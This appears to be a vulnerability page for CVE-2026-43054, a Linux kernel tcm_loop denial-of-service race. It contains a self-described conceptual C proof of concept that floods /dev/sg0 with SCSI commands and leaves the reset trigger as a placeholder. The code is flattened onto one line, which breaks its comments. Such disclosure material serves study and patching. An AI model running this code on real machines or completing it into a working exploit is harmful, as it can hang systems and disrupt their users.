CVE-2026-43054: Linux内核tcm_loop拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <scsi/sg.h> /* * Conceptual Proof of Concept for CVE-2026-43054 * This code attempts to trigger the race condition in tcm_loop_target_reset. * It requires a vulnerable kernel and access to a SCSI device. * * Steps: * 1. Open a SCSI generic device (e.g., /dev/sg0). * 2. Generate I/O traffic to create in-flight commands. * 3. Trigger a device reset (simulated here, usually requires specific timing/hardware). */ int main() { const char *device = "/dev/sg0"; int fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Sending commands to trigger condition...\n"); // Send multiple commands to ensure some are in-flight during reset for (int i = 0; i < 100; i++) { unsigned char cmd[6] = {0}; // TEST UNIT READY sg_io_hdr_t io_hdr = {0}; io_hdr.interface_id = 'S'; io_hdr.cmdp = cmd; io_hdr.cmd_len = 6; io_hdr.dxfer_direction = SG_DXFER_NONE; // In a real exploit, precise timing is needed to align // the reset with the memset operation. write(fd, &io_hdr, sizeof(io_hdr)); } // Triggering the reset path usually requires an error condition // or specific ioctl call which is not standard in user space. // This is a placeholder for the trigger mechanism. printf("Potential trigger sent. Check system for hung tasks.\n"); close(fd); return 0; }